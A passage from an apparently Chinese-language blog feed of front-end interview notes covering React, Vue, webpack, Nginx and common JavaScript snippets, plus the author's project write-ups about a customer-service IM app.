componentWillUnmount 中。 hook 需要在我们组建的最顶层调用,不能放到 if、which 等语句里面。 自定义 Hook 是一个函数,其名称以 use 开头,函数内部可以调用其他的 Hook。每次使用自定义 Hook,其中的所有 state 和副作用都是完全隔离的。 useCallback 和 useMemo ClassComponent 中父组件向子组件传的值是匿名函数,在父组件更新时,该匿名函数都会生成新函数,导致子组件也会更新; FunctionComponent 中父组件向子组件传的值是函数,在父组建更新时,该函数也会生成新函数,导致子组建也会更新; useCallback 第一个参数回调函数,第二个参数是依赖变量。返回一个 memoized 回调函数,在依赖参数不变的情况下返回回调函数是同一个引用地址; useMemo 将调用 fn 函数并返回结果,useCallback 将返回 fn 函数而不调用它; useCallback 针对于子组建重复渲染的优化,useMemo 针对于当前组建高开销的计算; 参考:彻底理解 useCallback 和 useMemo setState 同步和异步 setState 只在合成事件(onclick、onChange 等)和钩子函数(componentWillUpdate、componentDidMount 等)中是异步的,在原生事件和 setTimeout 中都是同步的; setState 异步并不是说内部由异步代码实现,其实本身执行过程和代码都是同步的,只是合成事件和钩子函数的调用顺序在更新之前,导致合成事件和钩子函数中没法拿到更新后的值,可以通过第二个参数 callback 拿到更新后的结果; setState 批量更新优化是建立在异步之上,在原生事件和 setTimeout 中不会批量更新。在异步中如果对同一个值进行多次 setState,批量更新策略会对其进行覆盖,取最后一次的执行。 参考你真的理解 setState 吗? Fiber 原理浏览器在一帧内可能会做执行下列任务,而且它们的执行顺序基本是固定的: 处理用户输入事件; JavaScript 执行; requestAnimation; 布局 layout; 绘制 paint; 如果浏览器处理上述的任务还有盈余时间,就会调用 requestIdleCallback。 React 渲染页面分为两个阶段: 协调阶段(reconciliation):在这个阶段 React 会更新数据生成新的 Virtual DOM,然后通过 Diff 算法快速找出需要更新的元素,放在更新队列中去,得到新的更新队列; 提交阶段(commit):这个阶段 React 会遍历更新队列,将所有的变更一次性更新到 DOM 上。 React 面临的挑战是更新数据多了会造成不响应问题:假如我们更新一个 state,有 1000 组件需要更新,每个组件更新需要 1ms,那么我们就会将近 1s 的时间,主线程被 React 占用,这段时间用户的操作不会得到任何的反馈,只有当 React 中需要同步更新的任务完成后,主线程才被释放。这 1s 期间浏览器会失去响应,用户体验差。 Fiber 解决方案。Fiber 中文解释 纤程,是线程颗粒化的一个概念。Fiber 可以让大量同步计算被拆解、异步化,使得浏览器主线程得以调控。 Fiber 的协调阶段可以: 暂停运行任务; 恢复并继续执行任务; 跟不同的任务分配不同的优先级; 这样把一个耗时长的任务分成很多小片,每一个小片的运行时间很短,虽然总时间依旧很长,但是在每个小片执行完之后,都给其他任务一个执行机会,这样唯一的主线程不会被独占,其他任务依然会有运行机会。 因为协调阶段可能被中断、恢复,甚至重做,React 协调阶段的生命周期钩子可能会被调用多次,产生副作用。比如 componentWillMount、componentWillReceiveProps 和 componentWillUpdate 可能会被调用两次。 Fiber 实现原理 React Fiber 的做法是不使用 javascript 的栈,通过链表的数据结构,模拟函数调用栈,将需要递归处理的事情分解成增量的执行单元,将递归转换为迭代。 将一个 state 更新需要执行的同步任务拆分成一个 Fiber 任务队列; 在任务队列中选出优先级高的任务执行,如果执行时间超过 deathLine,则设置为 pending 状态挂起状态; 一个 Fiber 执行结束或者挂起,会调用基于 requestIdleCallback/requestAnimation 实现调度器,返回一个新的 Fiber 任务队列继续进行上述过程。 首先,在说 React Fiber 架构前,说一下它产生的背景吧,在 React16 之前,数据更新,是通过函数调用栈方式,该过程是同步的,会占据 js 主线程,比如一个组件更新需要 1 毫秒,1000 个组建就需要 1s,在这段时间内,浏览器的其他任务不能得到响应,比如用户的 IO 操作,这样就会出现卡顿现象,影响用户体验。Fiber 架构的思想是,将大量同步任务进行拆解,和异步化。在 React Fiber 实现是将原来的函数调用栈的数据结构,变成链表结构,链表的每一项是任务执行单元,从而可以实现对任务的暂停和重启。React 将一个 state 更新需要执行的同步任务拆分成一个 Fiber 任务队列。从 Fiber 任务队列中选出优先级高的任务执行,如果执行时间超过 deathLine,设置为 padding 挂起状态,会在浏览器下次空闲时间继续执行,也就在 requestIdleCallback API 实现调度。 参考:浅谈 React 16 中的 Fiber 机制这可能是最通俗的 React Fiber(时间分片) 打开方式 React 性能优化 使用 React.PuerComponent 和 React.memo 来缓存组建 使用 useMemo 缓存大量的计算 使用 React.Lazy 配合 Suspense 延时加载组件 避免使用内联对象和匿名函数 使用 React.Fragment 避免添加额外的 DOM 参考:React 性能优化 Vue 性能优化 v-for 不要和 v-if 一起使用 v-show 应用在显示和隐藏频繁操作上 v-for key 尽量不要用 index 函数式组件 虚拟滚动 virtual-list Vue3 和 React 的 hook 区别 Vue hook 只会在 setup 函数被调用的时候调用一次,react 数据更改时候会导致重新 render,hooks 重新注册,虽然 React 有相应方案,比如 userCallback,userMemo 等; 不受调用顺序的限制,可以有条件的被调用; 不会在后续更新时产生大量的内联函数而影响引擎优化或者导致 GC 压力; 不需要总是使用 useCallback 来缓存传给子组件的回调函数防止过度更新; 不需要担心传入错误的依赖数组给 useEffect/useMemo/useCallback 从而导致回调中使用了过期的值,Vue 的依赖追踪是全自动的; 参考一文看懂:Vue3 和 React Hook 对比,到底哪里好? Vue 与 React diff 算法差异 Vue 列表比对,采用双向指针向内收缩算法,而 React 则采用从左到右依次比对方式,通过比较 lastIndex 和上次_mounteIndex,lastIndex &gt; _moutedIndex 节点不动。当一个集合,只把最后一个元素移动到第一个,React 会把前面的节点依次移动,而 Vue 只会把最后一个节点移动到第一个。总体上,Vue 比对方式更高效; 判断是否是相同节点,Vue 会比对 tag、key,是否是注释节点,是否有 data,是否是 input 相同的 type,而 React 比较简单,只判断 tag 和 key; Vue 基于 snabbdom 库,它有较好的速度和模块机制,Vue diff 使用双向链表边比对边更新 DOM,而 React 主要是使用 diff 队列保存需要更新哪些 DOM,得到 patch 树,再统一批量更新 DOM。 参考React 和 Vue 的 diff 算法 不可思议的 React diff Vue2 与 Vue3 diff 差异 Vue3 事件缓存、静态标记、静态提升 Vue3 patchKeyedChildren 比对,会基于头和尾比较,尾和尾比较,基于最长递增子序列进行移动、添加和删除。 参考深入浅出虚拟 DOM 和 Diff 算法,及 Vue2 与 Vue3 中的区别 Set 与 WeakSet,Map 与 WeakMap 的区别 Set 和 WeakSet 中的数据会去重,Set 的每一项可以是任意类型,但是 WeakSet 的每一项只能是对象类型。WeakSet 构造函数参数数组每一项都会生成 WeakSet 成员,WeakSet 中的对象是弱引用,即垃圾回收机制不考虑 WeakSet 对该对象的引用,也就是说,如果其他对象都不再引用该对象,那么垃圾回收机制会自动回收该对象的内存,不考虑该对象还存不存在 WeakSet 中,因此,WeakSet 不可被遍历。 Map 的键名可以是任意类型,WeakMap 只接受对象作为键名(null 除外)。WeakMap 的键名所引用的对象都是弱引用,即垃圾回收机制不将该引用考虑在内,只要所引用的对象的其他引用都被清除,垃圾回收机制就会被释放该对象所占用的内存,也就是说,一旦不需要,WeakMap 里面的键名对象和所对应的键值对会自动消失。 webpack5 做了哪些改进? 优化了持久化缓存和缓存算法。配置 cache: {type: &#39;filesystem&#39;} 来缓存生成的 webpack 模块和 chunk,改善构建速度。这样就无须 dll pulgin 和 cache loader。当使用[contenthash]时,webpack5 将使用真正的文件内容哈希值,之前它只使用内部结构的哈希值。 webpack5 默认使用 terser-webpack-plugin 进行多线程压缩和缓存,无须再引入 parallel-uglify-plugin。 新增“模块联邦”功能,允许多个 webpack 构建一起工作,模块可以从指定的远程构建中导入,并以最小的限制使用。 嵌套、内部模块和 CommonJS 的 tree-shaking。 跟踪对导出的嵌套属性的访问。这可以改善重新导出命名空间对象时的 tree-shaking(清除未使用的导出和混淆导出)。对模块中的标记进行分析,找出导出和引用的依赖关系。 允许启动单个文件的目标现在支持运行时自动加载引导所需的依赖代码片段。 参考:阔别两年,webpack5 正式发布 typescript 中 type 和 interface 区别? type 可以定义基本类型别名 type userName = string; type 可以声明联合类型 type Student = {stuNo: number} | {classId: number}; type 可以声明元祖类型 type Arr = [number, string]; interface 可以合并声明,type 不行; 12345678910interface Person &#123; name: string;&#125;interface Person &#123; age: number;&#125;const user: Person = &#123; name: 'wuwhs', age: 20&#125; Express 与 Koa 的区别相同点: 对 http 模块进行封装 不同点: express 内置了很多中间件可供使用,而 koa 没有; express 包含路由,视图渲染等特性,而 koa 只有 http 模块; express 中间件模型为线性,而 koa 的中间件模型为 U 型,也可称为洋葱模型构造中间件; express 通过回调函数处理异步操作,koa 主要是基于 co 中间件,通过 generator 使用同步方式写异步逻辑; Nginx 正向和反向代理 客户端向代理服务器发送请求,并且指定目标服务器,之后代理服务器向目标服务器转发请求,将获得的内容返回给客户端。用途:翻墙,数据缓存,隐藏客户端真实 IP; 代理服务器接受客户端请求,请求转发给内部网络服务器,再将服务器处理结果返回给客户端。用途:隐藏服务器真实 IP,负载均衡,数据缓存,数据加密; Nginx 设置正向代理 1234567server &#123; listen: 82; resolver: 8.8.8.8; # 设置DNS的IP,用来解析 proxy_pass 中的域名 location / &#123; proxy_pass http://$http_host$request_url; # 被代理转发的地址,$http_host 请求的域名和端口,$request_url请求URI &#125;&#125; Nginx 设置反向代理 123456789101112upstream myServers &#123; # upstream 服务器集合 server 192.168.30.20:3000 weigth=10; # weight 设置权重 server 192.168.30.20:3001 weight=5; server 192.168.30.20:3002 weight=1;&#125; server &#123; listen 8080; server_name localhost; location /server &#123; proxy_pass http:myServer; &#125; &#125;]]></content>
<categories>
<category>面试</category>
</categories>
<tags>
<tag>javascript</tag>
<tag>面试</tag>
</tags>
</entry>
<entry>
<title><![CDATA[前端面试之代码实现]]></title>
<url>%2F2021%2F10%2F16%2Finter-code%2F</url>
<content type="text"><![CDATA[浮点数整数位每三位添加一个逗号12345function commafy(num) &#123; return num.toString().replace(/(\d)(?=(\d&#123;3&#125;)+\.)/g, function ($1) &#123; return $1 + ',' &#125;)&#125; 如何实现数组的随机排序? 方法一:依次取出一个位置和随机一个位置交换 1234567891011var arr = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]function randSort1(arr) &#123; for (var i = 0, len = arr.length; i &lt; len; i++) &#123; var rand = parseInt(Math.random() * len) var temp = arr[rand] arr[rand] = arr[i] arr[i] = temp &#125; return arr&#125;console.log(randSort1(arr)) 方法二:随机取出一个位置值,然后删除这个值,加入到新数组中,知道元素组为空 1234567891011var arr = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]function randSort2(arr) &#123; var mixedArray = [] while (arr.length &gt; 0) &#123; var randomIndex = parseInt(Math.random() * arr.length) mixedArray.push(arr[randomIndex]) arr.splice(randomIndex, 1) &#125; return mixedArray&#125;console.log(randSort2(arr)) 方法三:利用排序函数sort() 12345var arr = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]arr.sort(function () &#123; return Math.random() - 0.5&#125;)console.log(arr) 实现 call()、apply、bind()1234567891011121314151617181920212223// callFunction.prototype.call = function call(context, ...args) &#123; const self = this const key = Symbol('key') // null undefined context == null ? (context = window) : null // string number !/^(object|function)$/i.test(typeof context) ? (context = Object(context)) : null // array function object context[key] = self const result = context[key](...args) delete context[key] return result&#125;// bindFunction.prototype.bind = function bind(context, ...args) &#123; const self = this return function proxy() &#123; self.apply(context, args) &#125;&#125; 实现节流(throttle)和防抖(debounce)函数节流: 频繁触发,但只在特定的时间内才执行一次代码 12345678910111213function throttle(func, wait) &#123; let canRun = true return function (...args) &#123; if (!canRun) &#123; return &#125; canRun = false setTimeout(() =&gt; &#123; func.apply(this, args) canRun = true &#125;, wait) &#125;&#125; 函数防抖: 频繁触发,但只在特定的时间内没有触发执行条件才执行一次代码 123456789function debounce(func, wait) &#123; let timer = null return function (...args) &#123; clearTimeout(timer) setTimeout(() =&gt; &#123; func.apply(this, args) &#125;, wait) &#125;&#125; 写一个通用的事件绑定对象123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384var EventUtil = &#123; // 添加事件 addHandler: function (element, type, handler) &#123; if (element.addEventListener) &#123; element.addEventListener(type, handler, false) &#125; else if (element.attachEvent) &#123; element.attachEvent('on' + type, handler) &#125; &#125;, // 获取事件对象 getEvent: function (ev) &#123; return ev || window.event &#125;, // 获取事件目标 getTarget: function (ev) &#123; return ev.target || ev.srcElement &#125;, // 阻止默认事件 preventDefault: function (ev) &#123; if (ev.preventDefault) &#123; ev.preventDefault() &#125; else &#123; ev.returnValue = false &#125; &#125;, // 阻止冒泡 stopPropagation: function (ev) &#123; if (ev.stopPropagation) &#123; ev.stopPropagation() &#125; else &#123; ev.cancelBubble = true &#125; &#125;, // 移除事件 removeHandler: function (element, type, handler) &#123; if (element.removeEventListener) &#123; element.removeEventListener(type, handler, false) &#125; else if (element.detachEvent) &#123; element.detachEvent('on' + type, handler) &#125; &#125;, // 获取相关元素 getRelatedTarget: function (ev) &#123; if (ev.relatedTarget) &#123; return ev.relatedTarget &#125; else if (ev.toElement) &#123; return ev.toElement &#125; else if (ev.fromElement) &#123; return ev.fromElement &#125; &#125;, // 获取鼠标滚动 getWheelDelta: function (ev) &#123; // Firefox if (ev.DOMMouseScroll) &#123; return -ev.detail * 40 &#125; // 其他 else &#123; return ev.wheelDelta &#125; &#125;, // 获取keypress按下键字符的ASCLL码 getCharCode: function (ev) &#123; if (typeof ev.charCode == 'number') &#123; return ev.charCode &#125; else &#123; return ev.keyCode &#125; &#125;, // 获取剪贴板数据 getClipboardText: function (ev) &#123; var clipboardData = ev.clipboardData || window.clipboardData return clipboardData.getData('text') &#125;, // 设置剪贴板数据 setClipboardText: function (ev, value) &#123; if (ev.clipboardData) &#123; return ev.clipboardData.setData('text/plain', value) &#125; else if (window.clipboardData) &#123; return window.clipboardData.setData('text', value) &#125; &#125;&#125; 参考 https://juejin.cn/post/7018337760687685669]]></content>
<categories>
<category>面试</category>
</categories>
<tags>
<tag>javascript</tag>
<tag>面试</tag>
</tags>
</entry>
<entry>
<title><![CDATA[inter-project]]></title>
<url>%2F2021%2F09%2F07%2Finter-project%2F</url>
<content type="text"><![CDATA[顺丰在线客服访客端项目 顺丰在线客服访客端是用于智能机器人与访客自助交互服务,还能与客服人员在线沟通。项目包括 PC 端和 H5 端,接入顺丰体系应用 100 多个渠道,比如速运、冷运、丰巢和航空等与之相关微信、App 和小程序渠道客服入口。 前端项目使用 vue、es6、vant、element、better-scroll、webpack 等技术栈构建。 基于 websocket 实现 IM 通讯,http 轮询做兜底,实现消息确认机制,防止消息丢失和消息去重。 实现了输入框吸附 H5 软键盘兼容方案。 实现了前端 js 图片压缩方案。 等等相关难题。 追问:短轮询和长轮询区别?短轮询:浏览器隔段时间向服务器发送 http 请求,服务器收到请求后,不论数据是否有更新,都直接响应。优点是实现简单,缺点是存在大量无效请求,浪费资源。长轮询:浏览器发送请求后,服务器不立刻返回,知道有数据更新或者连接超时才返回。返回后重新发送请求。优点是具有较好的时效性,缺点是连接挂起消耗资源。 追问:消息确认机制你是怎样做的?由于服务器是分布式的,各种机型的终端和网络环境,消息从访客发送给客服,或者从客服发送给访客不能保证 100%送达或收到。这个时候就需要一个类似 TCP 建立连接的消息确认机制,比如访客发送消息给客服,消息先抵达服务器再到客服端,客服有没有收到对于访客是未知的,需要在一段时间内收到客服端的反馈 ack,就确认了收到了,否则在访客端重发该消息。同理消息从客服端到访客端同样需要消息反馈。这样就是消息确认机制的原理了。 具体的实现是创建一个消息队列,队列里面存的是消息实例对象,实例方法定义一个定时器用于消息确认计时,同时上层维护一个观察者对象,当有在一定时间内收到相同消息 id 的 ack 消息,就会触发观察者更新消息队列中对应的消息的状态为成功,并且关闭定时器,否则更新状态为失败。 追问:观察者模式和发布订阅模式的区别?观察者模式,只有观察者和被观察者两个角色,而发布订阅模式,除了有发布者和订阅者,还有中间层(broker)。 发布订阅模式,发布者和订阅者是解耦的,而观察者模式观察者和被观察者是松解耦; 观察者模式多用于单个应用内部,而发布订阅模式跨应用,比如中间件; 追问:观察者模式和发布订阅模式实现细节?观察者模式指的是一个对象(Subject)维持一系列依赖于它的对象(Observer),当有关状态发生变更时,Subject 对象通知一系列 Observer 对象进行更新。 123456789101112131415161718192021222324252627282930313233343536373839404142434445// 目标对象class Subject &#123; constructor() &#123; // 维护观察者列表 this.observers = [] &#125; // 添加一个观察者 add(observer) &#123; this.observers.push(observer) &#125; // 删除一个观察者 remove(observer) &#123; const &#123; observers &#125; = this for (let i = 0; i &lt; observers.length; i++) &#123; if (observers[i] === observer) &#123; observers.splice(i, 1) &#125; &#125; &#125; // 通知所有观察者 notify() &#123; const &#123; observers &#125; = this for (let i = 0; i &lt; observers.length; i++) &#123; observers[i].update() &#125; &#125;&#125;// 观察者class Observer &#123; constructor(name) &#123; this.name = name &#125; // 更新 update() &#123; console.log('name: ', this.name) &#125;&#125;const sub = new Subject()const obs1 = new Observer('wuwhs')const obs2 = new Observer('winfar')sub.add(obs1)sub.add(obs2)sub.notify() 发布订阅模式指的是希望接受通知的对象(Subscriber)基于一个主题通过自定义事件订阅主题,发布事件的对象(Publisher)通过发布主题事件的方式通知各个订阅该主题的 Subscriber 对象。 12345678910111213141516171819202122232425262728293031323334353637383940414243// 发布订阅模式的实现class PubSub &#123; constructor() &#123; // 维护事件及订阅行为 this.events = &#123;&#125; &#125; // 注册事件订阅行为 subscribe(type, event) &#123; if (!this.events[type]) &#123; this.events[type] = [] &#125; this.events[type].push(event) &#125; // 发布事件 publish(type, ...args) &#123; if (this.events[type]) &#123; this.events[type].forEach((event) =&gt; &#123; event(...args) &#125;) &#125; &#125; // 移除某个事件的订阅行为 unsubscribe(type, event) &#123; const evts = this.events[type] if (evts) &#123; for (let i = 0; i &lt; evts.length; i++) &#123; if (evts[i] === event) &#123; evts.splice(i, 1) &#125; &#125; &#125; &#125;&#125;const pub = new PubSub()const fn = (...args) =&gt; &#123; console.log('subscribe:', ...args)&#125;pub.subscribe('customer-event', fn)pub.publish('customer-event', 1, 2, 3) 追问:websocket 协议你了解多少?当客户端和服务端建立 websocket 连接时,在握手的过程中,客户端项服务端发送一个 http 请求,包含 Upgrade 请求头来告知服务端客户端需要建立一个 websocket 连接,同时请求头 Sec-Websocket-Key 传给服务端一个随机字符串,服务端有部署 websocket 服务,则返回状态码 101,并将 websocket-key 加上一串特殊字符,再经过 hash 加密,转化为 base64,通过响应头 Sec-Websocket-Accept 返回给客户端。客户端通过同样的算法比对,如果相同则握手成功。 参考:WebSocket 原理浅析与实现简单聊天你不知道的 WebSocket js 图片压缩你是怎样实现的?公司运维监控平台反馈在线客服上行宽带使用有些偏高,后端同学查到是访客在聊天发送图片上传接口占比较大。80%的访客沟通都会发图片给客服。站在前端的角度,可不可以试图将图片压缩后再通过接口上传呢?带着这个疑问我查阅了相关资料,刚开始简单地用了一款开源的库,在本地测试没有太大的问题,上到生产,经过大量用户和机型的检验,才发现有很多的局限性,很多边界问题没有覆盖到。比如 png 图片的压缩不是很理想,会出现“不减反增”现象,长或宽大于 1 万 6 像素的 png 图片在有些机型上压缩后可能是黑的。 为了解决这些问题,我梳理了图片压缩大致流程:获取到用户上传的文件 File,将 File 转化(FileReader.reandAsDataUrl 或 URL.createObjectURL)为图片 Image 对象,然后读取到 Canvas(ctx.drawImage),再利用 Canvas 原生方法 canvas.toDataURL 或者 canvas.toBlob 实现压缩输出 base64 或者 blob,最后转化为 blob 上传到服务器。 大致流程清楚了,接下来解决边界问题。 png 图片压缩输出相同格式图片“不减反增”现象。使用 Canvas 上的方法压缩,是由浏览器内核底层 api 算法决定的,在应用层面暂时无法解决,但是 canvas.toDataURL 和 canvas.toBlob 可以将图片转换为 jpg 或者 webp 格式,控制其输出质量。所以我做了一个折衷方案,对于 png 图片设置一个阈值,如果小于这个阈值压缩输出 png 格式,输出的 png 图片质量比源图片大,则自己返回源图片;如果大于这个阈值则压缩输出 jpg 格式。 长宽像素比较大的图片压缩出现黑屏的问题。根据图片大小创建相同尺寸的 Canvas,查询了不同浏览器内核对 Canvas 大小的限制发现,最大宽或者高在 2 万像素左右,对总像素也有限制,再大可能就会出现意外情况。因此限定输出图片宽高是有必要的。我的方案是对源图片宽高和输出图片宽高做等比转换,防止拉缩图片,输出图片宽高做限制兜底。 综合上述的处理我封装了一个 npm 插件 js-image-compressor。 参考了解 JS 压缩图片,这一篇就够了 聊天输入框吸附 H5 软件键盘兼容是怎么做的?在项目之初,在不同的测试机的不同浏览器环境中预览交互 H5 页面效果时,发现软键盘弹起后,聊天输入框被软键盘(特别是第三方输入法的软键盘)遮挡了一半或完全遮挡,并不是刚好吸附在软键盘上的效果。键盘收起后,在 IOS12+上的微信 6.7.4+或者唯品会 app、抖音 app 上,出现视图“下不来”,软键盘弹起区域空白现象。 为了解决这些问题,我首先了解输入框(input、textarea 或富文本)在获取焦点键盘弹起,失去焦点键盘收起页面得表现。 在 IOS 上,输入框获取焦点,键盘弹起,页面(webview)不会被压缩高度,只是页面整体往上滚了,且滚动高度为软键盘得高度,这个是 IOS 自己计算得到的。点击软键盘上的“收起”按钮或者输入框以外其他区域,输入框失去焦点,键盘收起。 在 Android 上,输入框获取焦点,键盘弹起,但是页面(webview)高度会发生改变,一般来说,高度为可视区高度,也就是原高度减去软键盘高度,页面本身不发生滚动。点击软键盘上的“收起”按钮,输入框不会失去焦点,软键盘收起,同样触发输入框以外的区域,输入框会失去焦点,软键盘收起。 这样,我总结出了:在 IOS 上,监听输入框的 focus 事件就可以获知软键盘弹起了,监听输入框的 blur 事件获知软键盘收起了;在 Android 上,监听页面(webview)的高度变化,高度变小获知软键盘弹起,否则软键盘收起了。 因为我们已经能够监听到 IOS 和 Android 软键盘弹起和收起了的状态,当键盘弹起时,针对输入框被遮挡的问题,我猜测是由于第三方输入法软键盘计算有误造成,可以通过 DOM 元素的 scrollIntoView 方法将输入框滚动到可视区。当键盘收起时,针对输入框收起后,视图下不来问题,将 document/body 通过 scrollTo 方法重置视图位置。 聊天输入框的 @ 功能是怎样实现的 首先,监听富文本输入框的 input 事件,有输入 @ 字符,就会触发显示列表提示框; 其次,定位列表提示框显示的位置,利用 document.getSelection().getRangeAt(0) 获取光标,再通过 range.getBoundingRect() 获取光标在视口的位置,对列表提示框进行定位; 暂存光标,当选中列表项时,输入框会失去焦点,选中获取数据后,再恢复光标,在光标后通过 range.inertNode 插入数据,并将光标 range.setEndAfter 移动到最后; 参考手把手实现输入框@功能(完结)SelectionWeb 中的“选区”和“光标”需求实现基于 contenteditable 技术实现@选人功能在输入框实现@ At 功能的一些思考 视屏“秒发”实现思路富媒体在客服 IM 消息通信中的秒发实践\&lt;video>: 视频嵌入元素JavaScript 获取视频的尺寸信息和第一帧图片 1&lt;video preload="metadata" poster=""&gt;&lt;/video&gt; 顺丰在线客服客服端项目 顺丰在线客服客服端是用于集团客服与访客在线沟通的 IM 桌面软件,集成了快递相关业务。 前端项目使用 electron、es6、vue、electron-builder、auto-updater 等相关技术栈构建。 实现 1 VS n 的 IM 核心流程,以及消息确认机制。 实现本地日志采集,以及消费日志存储 indexDB,分片上传。 electron 通信方式electron 的进程分为主进程和渲染进程,主进程和渲染进程通过 IPC 通信。https://www.w3cschool.cn/electronmanual/electronmanual-ipc-main.html 主进程 ipcMain.on 监听事件 channel,异步消息使用 event.reply(…),同步消息通过 event.returnValue 发送回发送者。渲染进程 ipcRender.on 监听事件 channel,ipcRender.send/ipcRender.sendSync 发送异步/同步消息。 1234567891011121314151617181920// 在主进程中.const &#123; ipcMain &#125; = require('electron')ipcMain.on('asynchronous-message', (event, arg) =&gt; &#123; console.log(arg) // prints "ping" event.reply('asynchronous-reply', 'pong')&#125;)ipcMain.on('synchronous-message', (event, arg) =&gt; &#123; console.log(arg) // prints "ping" event.returnValue = 'pong'&#125;)//在渲染器进程 (网页) 中。const &#123; ipcRenderer &#125; = require('electron')console.log(ipcRenderer.sendSync('synchronous-message', 'ping')) // prints "pong"ipcRenderer.on('asynchronous-reply', (event, arg) =&gt; &#123; console.log(arg) // prints "pong"&#125;)ipcRenderer.send('asynchronous-message', 'ping') 主进程 ipcMain.handle 监听事件 channel,返回结果是 Promise,渲染进程 ipcRender.invoke 触发事件,可以得到触发事件结果。 12345678910// Renderer processipcRenderer.invoke('some-name', someArgument).then((result) =&gt; &#123; // ...&#125;)// Main processipcMain.handle('some-name', async (event, someArgument) =&gt; &#123; const result = await doSomeWork(someArgument) return result&#125;) electron-log 是怎么做的?网络性能检测 API PerformanceObserver(callback) 构造函数,观察的性能事件被记录时调用回调 callback 函数,第一个参数是性能观察条目列表,第二个参数是观察者对象。实例 observer.observe 观察性能事件类型。 基于 Electron 做的优化 基于 Web 优化,代码分割、按需加载,延后加载 Node 模块(模块查找、读取),electron 预装了对应最新的 chromium,使用现代的 JS 和 CSS,babel 配置放宽,无须 postcss,打包优化,代码压缩,tree-shaking; 优化进程通信优化:1、避免使用 remote,remote 底层是同步操作,虽然在渲染进程中通过 remote 可以直接使用主进程;2、封装 IPC 库,消息合并,批量传递,序列化,传递 JSON 字符串,避免 Electron 干涉序列化; 减少主进程负荷:密集计算和 IO 操作避免放到主进程,比如将主窗口和消息窗口直接通信,日志收集放在消息窗口完成; 项目优化对在线客服访客端做过的优化实践: 在 1-2 年的业务迭代开发,发现本地构建变慢,生产访问也慢,用 Lighthouse 对站点进行检测,performance 指标只有 55 分,给出的改进建议前几条是:1、代码覆盖率 50%左右,2、图片加载拥堵,3、建议使用 HTTP2 等。 措施: webpack 构建打包方面:1、js 压缩混淆由 uglifyJS 替换成多线程压缩,压缩率更好的 terser;2、使用 cache-loader 做二次构建缓存;3、在 optization 优化选项分别对 node_modules 和代码目录做 splitChunk,代码输出块控制在 200k 左右;4、生产构建使用 compression-plugin 打 gzip 压缩副本;5、生产构建 publicPath 配置 CDN 域名;6、image-compress-plugin 做图片压缩;component-webpack-plugin 对 UI 框架组建按需引入; HTTP 请求方面:1、升级 Nginx-openresty 的 ssl 模块,要求高于 1.0.2,然后配置 listen 443 端口加上 ssl http2 即可;2、开启 Nginx 的 gzip 开关,gzip_type 设定匹配 HTML、CSS 和 JavaScript 文件,再调整 gzip_buffers 的分片数量和大小;3、调整 Nginx 对 JavaScript、CSS 和图片的强缓存和协商缓存时间;4、开启 CDN 加速; 代码方面:1、将所有弹窗和卡片组建改成异步组件;2、图标集成 icon-font; 正在解决的问题:将所有图片替换成 webp 格式,高保真,体积小,但是我们的 h5 有部分渠道是嵌入到小程序里,小程序不支持该格式,Nodejs 做中间转换层; 成果: 通过神策埋点数据统计,首屏打开 P90 从 6s 到秒开;Lighthouse 站点 Performance 性能指标从 55-80; introductionxxx,cong shi qian duan kai fa gong zuo kuai 7 nian le,dang qian jiu zhi yu shunfeng ke ji de ke hu ti yan yan fa bu,开发客服和客户体验相关产品。从 0-1 实现了顺丰在线客服访客前端,包括 PC 和 H5 端,现已经接入了 100 多个渠道,比如顺丰官网、小程序、冷运,还有第三方 app,蜂巢、聚美优品、拼多多和抖音等。 实现核心 IM 流程,防止消息丢失,采用发布-订阅者模式,建立了一套类似 TCP 消息丢失,重发 ack 确认机制,确保复杂的移动端环境消息 0 丢失; 由于项目需要接入多端环境,需要做一些兼容,比如:聊天输入框吸附软键盘兼容,websocket 回退轮询兼容,h5 与 app 还有与小程序通讯兼容等; 解决 C 端图片流量偏高问题,尝试使用 JS 对图片压缩后上传,封装成了一个 npm 插件; 在近一年的紧张地开发中,基于 Electron 从 0-1 开发了客服 IM 桌面客户端,实现了 1 对 N 的 IM 核心能力,同时集成了运单查询、用户轨迹和机器人自动辅助能力。 简化了主进程和渲染进程 ipc 通讯,清洗数据保存快照,优化本地数据库 indexDB 存取频次和大小,控制 keep-alive 组件二级缓存数量等措施,解决白屏和闪退问题; 以上是我的基本情况。 客户端三层架构设计基础框架物料构建。Electron 桌面跨端能力,webpack 现代打包工具构建页面应用,nodejs 和 chromium 本地化能力。应用能力健壮和增强。渲染进程和主进程层日志收集与上报,自动或强制更新,本地异步消息队列存储,IPC 通讯消息合并和序列化,web worker 线程做高开销运算。应用拓展能力和平台化。路由权限分割,第三方应用以微应用形式接入,解决在线和离线应用跨域请求,sdk 提供交互和底层能力。]]></content>
<tags>
<tag>interview</tag>
</tags>
</entry>
<entry>
<title><![CDATA[inter-principle]]></title>
<url>%2F2021%2F09%2F05%2Finter-principle%2F</url>
<content type="text"><![CDATA[Axios 原理 大致步骤:Axios 实例化 -&gt; 执行请求拦截器(request: new InterceptorManager()) -&gt; 派发请求(dispatchRequest) -&gt; 转换请求数据(transformRequest) -&gt; 适配器(adapter)处理请求 -&gt; 转换响应数据(transformResponse) -&gt; 执行响应拦截器(response: new InterceptorManager()) -&gt; axios; axios 实际返回的是 Axios.prototype.request 方法,并且将 axios 实例所有方法引用赋值到 request 方法属性上,this 绑定 axios 实例; request.use 和 response.use 分别收集用户请求任务队列和响应拦截任务队列,与派发请求合成 chain 任务队列,利用 promise.then(chain.shift(), chain.shift()) 链式执行任务队列; 参考:HTTP 请求库 - Axios 源码分析 Virtual list 原理实现前提,列表容器定高,容器内有一个影子容器,高度为算出的实际内容高度,这样就有真实的滚动条及滚动效果。而真实展示给用户视窗中的是绝对定位的元素构成的真实容器,影子容器滚动,真实容器也跟着滚动,监听影子容器的 onscroll 事件,获取影子容器的 scrollTop,算出视窗中第一项渲染的数据索引 startIndex 有没有更新,有,则重新截取列表数据渲染可视区。虽然说是重新渲染,但是下一帧和当前滚动位置元素一样,所以用户无感知。 确定影子容器的高度: 列表内容每一项定高,影子容器的高度=每一项定高 x total 列表内容每一项不定高,可以初始假设每一项定高,算出影子容器高度,这样容器可滚动,待真实容器渲染后,算出每一项元素的高度、位置信息,再去更新影子容器高度。算出了影子容器的高度及其每一项的位置信息,又已知 scrollTop,可以通过二分法找到当前的 startIndex。 参考: 前端虚拟列表实现原理 webpack 构建原理webpack 是一个现代 JavaScript 